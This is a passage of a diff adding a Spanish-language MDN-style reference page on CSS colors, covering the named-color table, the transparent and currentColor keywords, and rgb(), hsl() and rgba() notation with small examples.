+   <td style="background: #dc143c;"> </td>
+   <td style="text-align: center;"><code>crimson</code></td>
+   <td><code>#dc143c</code></td>
+   <td style="background: crimson;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #00008b;"> </td>
+   <td style="text-align: center;"><code>darkblue</code></td>
+   <td><code>#00008b</code></td>
+   <td style="background: darkblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #008b8b;"> </td>
+   <td style="text-align: center;"><code>darkcyan</code></td>
+   <td><code>#008b8b</code></td>
+   <td style="background: darkcyan;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #b8860b;"> </td>
+   <td style="text-align: center;"><code>darkgoldenrod</code></td>
+   <td><code>#b8860b</code></td>
+   <td style="background: darkgoldenrod;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #a9a9a9;"> </td>
+   <td style="text-align: center;"><code>darkgray</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #006400;"> </td>
+   <td style="text-align: center;"><code>darkgreen</code></td>
+   <td><code>#006400</code></td>
+   <td style="background: darkgreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #a9a9a9;"> </td>
+   <td style="text-align: center;"><code>darkgrey</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgrey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #bdb76b;"> </td>
+   <td style="text-align: center;"><code>darkkhaki</code></td>
+   <td><code>#bdb76b</code></td>
+   <td style="background: darkkhaki;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #8b008b;"> </td>
+   <td style="text-align: center;"><code>darkmagenta</code></td>
+   <td><code>#8b008b</code></td>
+   <td style="background: darkmagenta;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #556b2f;"> </td>
+   <td style="text-align: center;"><code>darkolivegreen</code></td>
+   <td><code>#556b2f</code></td>
+   <td style="background: darkolivegreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ff8c00;"> </td>
+   <td style="text-align: center;"><code>darkorange</code></td>
+   <td><code>#ff8c00</code></td>
+   <td style="background: darkorange;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #9932cc;"> </td>
+   <td style="text-align: center;"><code>darkorchid</code></td>
+   <td><code>#9932cc</code></td>
+   <td style="background: darkorchid;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #8b0000;"> </td>
+   <td style="text-align: center;"><code>darkred</code></td>
+   <td><code>#8b0000</code></td>
+   <td style="background: darkred;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #e9967a;"> </td>
+   <td style="text-align: center;"><code>darksalmon</code></td>
+   <td><code>#e9967a</code></td>
+   <td style="background: darksalmon;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #8fbc8f;"> </td>
+   <td style="text-align: center;"><code>darkseagreen</code></td>
+   <td><code>#8fbc8f</code></td>
+   <td style="background: darkseagreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #483d8b;"> </td>
+   <td style="text-align: center;"><code>darkslateblue</code></td>
+   <td><code>#483d8b</code></td>
+   <td style="background: darkslateblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #2f4f4f;"> </td>
+   <td style="text-align: center;"><code>darkslategray</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #2f4f4f;"> </td>
+   <td style="text-align: center;"><code>darkslategrey</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategrey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #00ced1;"> </td>
+   <td style="text-align: center;"><code>darkturquoise</code></td>
+   <td><code>#00ced1</code></td>
+   <td style="background: darkturquoise;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #9400d3;"> </td>
+   <td style="text-align: center;"><code>darkviolet</code></td>
+   <td><code>#9400d3</code></td>
+   <td style="background: darkviolet;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ff1493;"> </td>
+   <td style="text-align: center;"><code>deeppink</code></td>
+   <td><code>#ff1493</code></td>
+   <td style="background: deeppink;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #00bfff;"> </td>
+   <td style="text-align: center;"><code>deepskyblue</code></td>
+   <td><code>#00bfff</code></td>
+   <td style="background: deepskyblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #696969;"> </td>
+   <td style="text-align: center;"><code>dimgray</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #696969;"> </td>
+   <td style="text-align: center;"><code>dimgrey</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgrey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #1e90ff;"> </td>
+   <td style="text-align: center;"><code>dodgerblue</code></td>
+   <td><code>#1e90ff</code></td>
+   <td style="background: dodgerblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #b22222;"> </td>
+   <td style="text-align: center;"><code>firebrick</code></td>
+   <td><code>#b22222</code></td>
+   <td style="background: firebrick;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fffaf0;"> </td>
+   <td style="text-align: center;"><code>floralwhite</code></td>
+   <td><code>#fffaf0</code></td>
+   <td style="background: floralwhite;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #228b22;"> </td>
+   <td style="text-align: center;"><code>forestgreen</code></td>
+   <td><code>#228b22</code></td>
+   <td style="background: forestgreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #dcdcdc;"> </td>
+   <td style="text-align: center;"><code>gainsboro</code></td>
+   <td><code>#dcdcdc</code></td>
+   <td style="background: gainsboro;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f8f8ff;"> </td>
+   <td style="text-align: center;"><code>ghostwhite</code></td>
+   <td><code>#f8f8ff</code></td>
+   <td style="background: ghostwhite;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffd700;"> </td>
+   <td style="text-align: center;"><code>gold</code></td>
+   <td><code>#ffd700</code></td>
+   <td style="background: gold;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #daa520;"> </td>
+   <td style="text-align: center;"><code>goldenrod</code></td>
+   <td><code>#daa520</code></td>
+   <td style="background: goldenrod;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #adff2f;"> </td>
+   <td style="text-align: center;"><code>greenyellow</code></td>
+   <td><code>#adff2f</code></td>
+   <td style="background: greenyellow ;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #808080;"> </td>
+   <td style="text-align: center;"><code>grey</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: grey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f0fff0;"> </td>
+   <td style="text-align: center;"><code>honeydew</code></td>
+   <td><code>#f0fff0</code></td>
+   <td style="background: honeydew;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ff69b4;"> </td>
+   <td style="text-align: center;"><code>hotpink</code></td>
+   <td><code>#ff69b4</code></td>
+   <td style="background: hotpink;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #cd5c5c;"> </td>
+   <td style="text-align: center;"><code>indianred</code></td>
+   <td><code>#cd5c5c</code></td>
+   <td style="background: indianred;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #4b0082;"> </td>
+   <td style="text-align: center;"><code>indigo</code></td>
+   <td><code>#4b0082</code></td>
+   <td style="background: indigo;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fffff0;"> </td>
+   <td style="text-align: center;"><code>ivory</code></td>
+   <td><code>#fffff0</code></td>
+   <td style="background: ivory;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f0e68c;"> </td>
+   <td style="text-align: center;"><code>khaki</code></td>
+   <td><code>#f0e68c</code></td>
+   <td style="background: khaki;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #e6e6fa;"> </td>
+   <td style="text-align: center;"><code>lavender</code></td>
+   <td><code>#e6e6fa</code></td>
+   <td style="background: lavender;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fff0f5;"> </td>
+   <td style="text-align: center;"><code>lavenderblush</code></td>
+   <td><code>#fff0f5</code></td>
+   <td style="background: lavenderblush ;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #7cfc00;"> </td>
+   <td style="text-align: center;"><code>lawngreen</code></td>
+   <td><code>#7cfc00</code></td>
+   <td style="background: lawngreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fffacd;"> </td>
+   <td style="text-align: center;"><code>lemonchiffon</code></td>
+   <td><code>#fffacd</code></td>
+   <td style="background: lemonchiffon;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #add8e6;"> </td>
+   <td style="text-align: center;"><code>lightblue</code></td>
+   <td><code>#add8e6</code></td>
+   <td style="background: lightblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f08080;"> </td>
+   <td style="text-align: center;"><code>lightcoral</code></td>
+   <td><code>#f08080</code></td>
+   <td style="background: lightcoral;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #e0ffff;"> </td>
+   <td style="text-align: center;"><code>lightcyan</code></td>
+   <td><code>#e0ffff</code></td>
+   <td style="background: lightcyan;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fafad2;"> </td>
+   <td style="text-align: center;"><code>lightgoldenrodyellow</code></td>
+   <td><code>#fafad2</code></td>
+   <td style="background: lightgoldenrodyellow ;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #d3d3d3;"> </td>
+   <td style="text-align: center;"><code>lightgray</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #90ee90;"> </td>
+   <td style="text-align: center;"><code>lightgreen</code></td>
+   <td><code>#90ee90</code></td>
+   <td style="background: lightgreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #d3d3d3;"> </td>
+   <td style="text-align: center;"><code>lightgrey</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgrey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffb6c1;"> </td>
+   <td style="text-align: center;"><code>lightpink</code></td>
+   <td><code>#ffb6c1</code></td>
+   <td style="background: lightpink;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffa07a;"> </td>
+   <td style="text-align: center;"><code>lightsalmon</code></td>
+   <td><code>#ffa07a</code></td>
+   <td style="background: lightsalmon;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #20b2aa;"> </td>
+   <td style="text-align: center;"><code>lightseagreen</code></td>
+   <td><code>#20b2aa</code></td>
+   <td style="background: lightseagreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #87cefa;"> </td>
+   <td style="text-align: center;"><code>lightskyblue</code></td>
+   <td><code>#87cefa</code></td>
+   <td style="background: lightskyblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #778899;"> </td>
+   <td style="text-align: center;"><code>lightslategray</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #778899;"> </td>
+   <td style="text-align: center;"><code>lightslategrey</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategrey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #b0c4de;"> </td>
+   <td style="text-align: center;"><code>lightsteelblue</code></td>
+   <td><code>#b0c4de</code></td>
+   <td style="background: lightsteelblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffffe0;"> </td>
+   <td style="text-align: center;"><code>lightyellow</code></td>
+   <td><code>#ffffe0</code></td>
+   <td style="background: lightyellow;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #32cd32;"> </td>
+   <td style="text-align: center;"><code>limegreen</code></td>
+   <td><code>#32cd32</code></td>
+   <td style="background: limegreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #faf0e6;"> </td>
+   <td style="text-align: center;"><code>linen</code></td>
+   <td><code>#faf0e6</code></td>
+   <td style="background: linen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #66cdaa;"> </td>
+   <td style="text-align: center;"><code>mediumaquamarine</code></td>
+   <td><code>#66cdaa</code></td>
+   <td style="background: mediumaquamarine;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #0000cd;"> </td>
+   <td style="text-align: center;"><code>mediumblue</code></td>
+   <td><code>#0000cd</code></td>
+   <td style="background: mediumblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ba55d3;"> </td>
+   <td style="text-align: center;"><code>mediumorchid</code></td>
+   <td><code>#ba55d3</code></td>
+   <td style="background: mediumorchid;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #9370db;"> </td>
+   <td style="text-align: center;"><code>mediumpurple</code></td>
+   <td><code>#9370db</code></td>
+   <td style="background: mediumpurple;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #3cb371;"> </td>
+   <td style="text-align: center;"><code>mediumseagreen</code></td>
+   <td><code>#3cb371</code></td>
+   <td style="background: mediumseagreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #7b68ee;"> </td>
+   <td style="text-align: center;"><code>mediumslateblue</code></td>
+   <td><code>#7b68ee</code></td>
+   <td style="background: mediumslateblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #00fa9a;"> </td>
+   <td style="text-align: center;"><code>mediumspringgreen</code></td>
+   <td><code>#00fa9a</code></td>
+   <td style="background: mediumspringgreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #48d1cc;"> </td>
+   <td style="text-align: center;"><code>mediumturquoise</code></td>
+   <td><code>#48d1cc</code></td>
+   <td style="background: mediumturquoise;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #c71585;"> </td>
+   <td style="text-align: center;"><code>mediumvioletred</code></td>
+   <td><code>#c71585</code></td>
+   <td style="background: mediumvioletred;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #191970;"> </td>
+   <td style="text-align: center;"><code>midnightblue</code></td>
+   <td><code>#191970</code></td>
+   <td style="background: midnightblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f5fffa;"> </td>
+   <td style="text-align: center;"><code>mintcream</code></td>
+   <td><code>#f5fffa</code></td>
+   <td style="background: mintcream;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4e1;"> </td>
+   <td style="text-align: center;"><code>mistyrose</code></td>
+   <td><code>#ffe4e1</code></td>
+   <td style="background: mistyrose;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4b5;"> </td>
+   <td style="text-align: center;"><code>moccasin</code></td>
+   <td><code>#ffe4b5</code></td>
+   <td style="background: moccasin;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffdead;"> </td>
+   <td style="text-align: center;"><code>navajowhite</code></td>
+   <td><code>#ffdead</code></td>
+   <td style="background: navajowhite;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fdf5e6;"> </td>
+   <td style="text-align: center;"><code>oldlace</code></td>
+   <td><code>#fdf5e6</code></td>
+   <td style="background: oldlace;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #6b8e23;"> </td>
+   <td style="text-align: center;"><code>olivedrab</code></td>
+   <td><code>#6b8e23</code></td>
+   <td style="background: olivedrab;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ff4500;"> </td>
+   <td style="text-align: center;"><code>orangered</code></td>
+   <td><code>#ff4500</code></td>
+   <td style="background: orangered;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #da70d6;"> </td>
+   <td style="text-align: center;"><code>orchid</code></td>
+   <td><code>#da70d6</code></td>
+   <td style="background: orchid;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #eee8aa;"> </td>
+   <td style="text-align: center;"><code>palegoldenrod</code></td>
+   <td><code>#eee8aa</code></td>
+   <td style="background: palegoldenrod;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #98fb98;"> </td>
+   <td style="text-align: center;"><code>palegreen</code></td>
+   <td><code>#98fb98</code></td>
+   <td style="background: palegreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #afeeee;"> </td>
+   <td style="text-align: center;"><code>paleturquoise</code></td>
+   <td><code>#afeeee</code></td>
+   <td style="background: paleturquoise;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #db7093;"> </td>
+   <td style="text-align: center;"><code>palevioletred</code></td>
+   <td><code>#db7093</code></td>
+   <td style="background: palevioletred;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffefd5;"> </td>
+   <td style="text-align: center;"><code>papayawhip</code></td>
+   <td><code>#ffefd5</code></td>
+   <td style="background: papayawhip;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffdab9;"> </td>
+   <td style="text-align: center;"><code>peachpuff</code></td>
+   <td><code>#ffdab9</code></td>
+   <td style="background: peachpuff;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #cd853f;"> </td>
+   <td style="text-align: center;"><code>peru</code></td>
+   <td><code>#cd853f</code></td>
+   <td style="background: peru;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ffc0cb;"> </td>
+   <td style="text-align: center;"><code>pink</code></td>
+   <td><code>#ffc0cb</code></td>
+   <td style="background: pink;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #dda0dd;"> </td>
+   <td style="text-align: center;"><code>plum</code></td>
+   <td><code>#dda0dd</code></td>
+   <td style="background: plum;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #b0e0e6;"> </td>
+   <td style="text-align: center;"><code>powderblue</code></td>
+   <td><code>#b0e0e6</code></td>
+   <td style="background: powderblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #bc8f8f;"> </td>
+   <td style="text-align: center;"><code>rosybrown</code></td>
+   <td><code>#bc8f8f</code></td>
+   <td style="background: rosybrown;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #4169e1;"> </td>
+   <td style="text-align: center;"><code>royalblue</code></td>
+   <td><code>#4169e1</code></td>
+   <td style="background: royalblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #8b4513;"> </td>
+   <td style="text-align: center;"><code>saddlebrown</code></td>
+   <td><code>#8b4513</code></td>
+   <td style="background: saddlebrown;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fa8072;"> </td>
+   <td style="text-align: center;"><code>salmon</code></td>
+   <td><code>#fa8072</code></td>
+   <td style="background: salmon;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f4a460;"> </td>
+   <td style="text-align: center;"><code>sandybrown</code></td>
+   <td><code>#f4a460</code></td>
+   <td style="background: sandybrown;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #2e8b57;"> </td>
+   <td style="text-align: center;"><code>seagreen</code></td>
+   <td><code>#2e8b57</code></td>
+   <td style="background: seagreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fff5ee;"> </td>
+   <td style="text-align: center;"><code>seashell</code></td>
+   <td><code>#fff5ee</code></td>
+   <td style="background: seashell;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #a0522d;"> </td>
+   <td style="text-align: center;"><code>sienna</code></td>
+   <td><code>#a0522d</code></td>
+   <td style="background: sienna;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #87ceeb;"> </td>
+   <td style="text-align: center;"><code>skyblue</code></td>
+   <td><code>#87ceeb</code></td>
+   <td style="background: skyblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #6a5acd;"> </td>
+   <td style="text-align: center;"><code>slateblue</code></td>
+   <td><code>#6a5acd</code></td>
+   <td style="background: slateblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #708090;"> </td>
+   <td style="text-align: center;"><code>slategray</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategray;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #708090;"> </td>
+   <td style="text-align: center;"><code>slategrey</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategrey;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #fffafa;"> </td>
+   <td style="text-align: center;"><code>snow</code></td>
+   <td><code>#fffafa</code></td>
+   <td style="background: snow;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #00ff7f;"> </td>
+   <td style="text-align: center;"><code>springgreen</code></td>
+   <td><code>#00ff7f</code></td>
+   <td style="background: springgreen;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #4682b4;"> </td>
+   <td style="text-align: center;"><code>steelblue</code></td>
+   <td><code>#4682b4</code></td>
+   <td style="background: steelblue;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #d2b48c;"> </td>
+   <td style="text-align: center;"><code>tan</code></td>
+   <td><code>#d2b48c</code></td>
+   <td style="background: tan;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #d8bfd8;"> </td>
+   <td style="text-align: center;"><code>thistle</code></td>
+   <td><code>#d8bfd8</code></td>
+   <td style="background: thistle;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ff6347;"> </td>
+   <td style="text-align: center;"><code>tomato</code></td>
+   <td><code>#ff6347</code></td>
+   <td style="background: tomato;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #40e0d0;"> </td>
+   <td style="text-align: center;"><code>turquoise</code></td>
+   <td><code>#40e0d0</code></td>
+   <td style="background: turquoise;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #ee82ee;"> </td>
+   <td style="text-align: center;"><code>violet</code></td>
+   <td><code>#ee82ee</code></td>
+   <td style="background: violet;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f5deb3;"> </td>
+   <td style="text-align: center;"><code>wheat</code></td>
+   <td><code>#f5deb3</code></td>
+   <td style="background: wheat;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #f5f5f5;"> </td>
+   <td style="text-align: center;"><code>whitesmoke</code></td>
+   <td><code>#f5f5f5</code></td>
+   <td style="background: whitesmoke;"> </td>
+  </tr>
+  <tr>
+   <td style="background: #9acd32;"> </td>
+   <td style="text-align: center;"><code>yellowgreen</code></td>
+   <td><code>#9acd32</code></td>
+   <td style="background: yellowgreen;"> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Colors")}}</td>
+   <td style="background: #639;"> </td>
+   <td style="text-align: center;"><code>rebeccapurple</code></td>
+   <td><code>#663399</code></td>
+   <td style="background: rebeccapurple;"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El color <code>rebeccapurple</code> es equivalente al color  <code>#639</code>, y se puede encontrar información adicional sobre por qué fue introducidoa en el blog Codepen blog en un post realizado por Trezy "<a href="http://codepen.io/trezy/blog/honoring-a-great-man">Honoring a Great Man</a>."</p>
+
+<h3 id="Palabra_clave_transparent"><code>Palabra clave transparent</code></h3>
+
+<p>La palaba <code>transparent</code> representa un color totalmente transparente, es decir, el color que veremos será el colore de fondo. Técnicamente es un color negro con un valor mínimo en el canal alfa y la manera de representarlo es <code>rgba(0,0,0,0)</code>.</p>
+
+<div class="note"><strong>Nota histórica</strong><br>
+La palabra clave <code>transparent</code> no fue  un color en CSS hasta CSS Nivel 2 (Revisión 1). Podía ser usada en lugar de un valor &lt;color&gt; regular en dos propiedades CSS: {{Cssxref("background")}} y {{Cssxref("border")}}. En esencia fue añadida para permitir sobreescribir valores sólidos heredados.<br>
+<br>
+Con el soporte de la opacidad que nos proporcionan los <a class="external" href="http://en.wikipedia.org/wiki/Alpha_compositing" title="http://en.wikipedia.org/wiki/Alpha_compositing">alpha channels</a>, <code>transparent fue redefinido como un color verdadero más en </code>CSS Nivel 3 permitiendo su use en cualquier sitio donde de requiera un valor<code>&lt;color&gt;</code> , como la propiedad {{Cssxref("color")}}.</div>
+
+<h3 id="Palabra_clave_currentColor"><code>Palabra clave currentColor</code></h3>
+
+<p>La palabra clave <code>currentColor</code> representa el valor calculado para la la propiedad del elemento {{Cssxref("color")}} . Permite hacer que las propiedades de color sean heredadas por los elementos hijo, que no lo hacen por defecto.</p>
+
+<p>También puede ser usada en propiedades que heredan el valor calculado de la propiedad del elemento {{Cssxref("color")}}, en este caso, será equivalente a la plabara clave <code>inherit</code> en estos elementos, si es que la hubiera.</p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<p>El color de la una line (un div relleno de color) se adapta al color de su propiedad  {Cssxref("color")}} , heredada de su padre.</p>
+
+<div style="width: 50%;">
+<h5 id="Live_example_1">Live example 1</h5>
+
+<pre class="brush: html">&lt;div style="color:darkred"&gt;
+ EL color de este texto es el mismo que el de la línea  &lt;div style="background:currentcolor; height:1px"&gt;&lt;/div&gt;
+ Algo más de texto
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Live_example_1')}}</p>
+
+<h5 id="Live_example_2">Live example 2</h5>
+
+<pre class="brush: html">&lt;div style="color:blue; border-bottom: 1px dashed currentcolor;"&gt;
+ El color de este texto es el mimso que el color de la línea:
+  &lt;div style="background:currentcolor; height:1px"&gt;&lt;/div&gt;
+ Algo más de texto.
+&lt;/div&gt; </pre>
+
+<p>{{EmbedLiveSample('Live_example_2')}}</p>
+</div>
+
+<h3 id="rgb()"><a id="rgb" name="rgb"><code>rgb()</code></a></h3>
+
+<p>Los colores puede ser definidos usando el modelo RGB (rojo-verde-azul) de dos maneras:ways:</p>
+
+<dl>
+ <dt>Notación Hexadecimal <code>#RRGGBB</code> ay <code>#RGB</code></dt>
+ <dd>
+ <ul style="margin-bottom: 0;">
+  <li>"<code>#</code>", seguido de seis caracteres hexadecimales (0-9, A-F).</li>
+  <li>"<code>#</code>", seguido de tres caracteres hexadecimales (0-9, A-F).</li>
+ </ul>
+ La notación de tres dígitos (<code>#RGB</code>) y la de seis (<code>#RRGGBB</code>) son iguales.<br>
+ Por ejemplo,  <code>#f03</code> y <code>#ff0033</code> representan el mismo color.</dd>
+ <dt>Notación funcional <code>rgb(R,G,B)</code></dt>
+ <dd>"<code>rgb</code>", seguido por tres valores  {{cssxref("&lt;integer&gt;")}} o tres  {{cssxref("&lt;percentage&gt;")}} values.<br>
+ El número entero 255 representa el 100%, y F o FF en notación hexadecimal.</dd>
+</dl>
+
+<pre class="eval">/* Todos estos ejemplos son el mismo color RGB: */
+
+ #f03
+ #F03
+ #ff0033
+ #FF0033
+ rgb(255,0,51)
+ rgb(255, 0, 51)
+ <s>rgb(255, 0, 51.2)</s> /* ¡ERROR! No uses número decimales , usa enteros*/
+ rgb(100%,0%,20%)
+ rgb(100%, 0%, 20%)
+ <s>rgb(100%, 0, 20%)</s> /* ¡ERROR! No mezcles notaciones de enteros y de porcentajes*/
+</pre>
+
+<h3 id="hsl()"><a id="hsl" name="hsl"><code>hsl()</code></a></h3>
+
+<p>Los colores también puede ser definidos usando el modelo  tono (hue) - saturación (saturation) - brillo (lightness) (HSL) con la notación funcional hsl(). La ventaja del modelo HSL sobre el modelo RGB es que es mucho más intuitivo: puedes adivinar los colores que tú quieres y luego modificarlos. Es también más fácil crear conjuntos de colores (manteniendo el tono (hue)  igual y modificando el brillo y la saturación.</p>
+
+<p><strong>El tono (Hue)  </strong>se representa como un ángulo del círculo de color (por así decir, el arco iris representado en un círculo). El ángulo se proporciona como un  {{cssxref("&lt;number&gt;")}} sin unidades. Por definición <strong>rojo=0=360</strong>, y los demas colores están dispersos por el círculo, <strong>verde=120</strong>, <strong>azul=240</strong>, etc. Al ser un ánguilo implítamente -120=240 y 480=120.</p>
+
+<p>La saturación y el brillo son representados por porcentajes.<br>
+ <code>100%</code>  es <strong>saturacion </strong>completa, y <code>0%</code> es una sombra de gris..<br>
+ <code>100%</code> <strong>brillo</strong> es blanco, <code>0%</code>  negro, y <code>50%</code> es brillo "normal".</p>
+
+<pre class="brush: css" style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">hsl(0,  100%,50%)   <span style="background-color: hsl(0,100%,50%);"> /* red */   </span>
+hsl(30, 100%,50%)   <span style="background: hsl(30,100%,50%);">             </span>
+hsl(60, 100%,50%)   <span style="background: hsl(60,100%,50%);">             </span>
+hsl(90, 100%,50%)   <span style="background: hsl(90,100%,50%);">             </span>
+hsl(120,100%,50%)   <span style="background: hsl(120,100%,50%);"> /* green */ </span>
+hsl(150,100%,50%)   <span style="background: hsl(150,100%,50%);">             </span>
+hsl(180,100%,50%)   <span style="background: hsl(180,100%,50%);">             </span>
+hsl(210,100%,50%)   <span style="background: hsl(210,100%,50%);">             </span>
+hsl(240,100%,50%)   <span style="background: hsl(240,100%,50%);"> /* blue */  </span>
+hsl(270,100%,50%)   <span style="background: hsl(270,100%,50%);">             </span>
+hsl(300,100%,50%)   <span style="background: hsl(300,100%,50%);">             </span>
+hsl(330,100%,50%)   <span style="background: hsl(330,100%,50%);">             </span>
+hsl(360,100%,50%)   <span style="background: hsl(360,100%,50%);"> /* red */   </span>
+
+hsl(120,100%,25%)   <span style="background: hsl(120,100%,25%);"> /* dark green */  </span>
+hsl(120,100%,50%)   <span style="background: hsl(120,100%,50%);"> /* green */       </span>
+hsl(120,100%,75%)   <span style="background: hsl(120,100%,75%);"> /* light green */ </span>
+
+hsl(120,100%,50%)   <span style="background: hsl(120,100%,50%);"> /* green */  </span>
+hsl(120, 67%,50%)   <span style="background: hsl(120,67%,50%);">              </span>
+hsl(120, 33%,50%)   <span style="background: hsl(120,33%,50%);">              </span>
+hsl(120,  0%,50%)   <span style="background: hsl(120,0%,50%);">              </span>
+
+hsl(120, 60%,70%)   <span style="background: hsl(120,60%,70%);"> /* pastel green */ </span>
+</pre>
+
+<h3 id="rgba()"><a id="rgba" name="rgba"><code>rgba()</code></a></h3>
+
+<p>Podemos definir los colores con el modelo Rojo (red) - Verde (green) - Azul (blue) - alpha (RGBa) usando la notación funcional <code>rgba()</code>. RGBa amplia el modelo RGA añadiendo un canal alfa, permitiendo de esta manera especificar la opacidad de un color.<br>
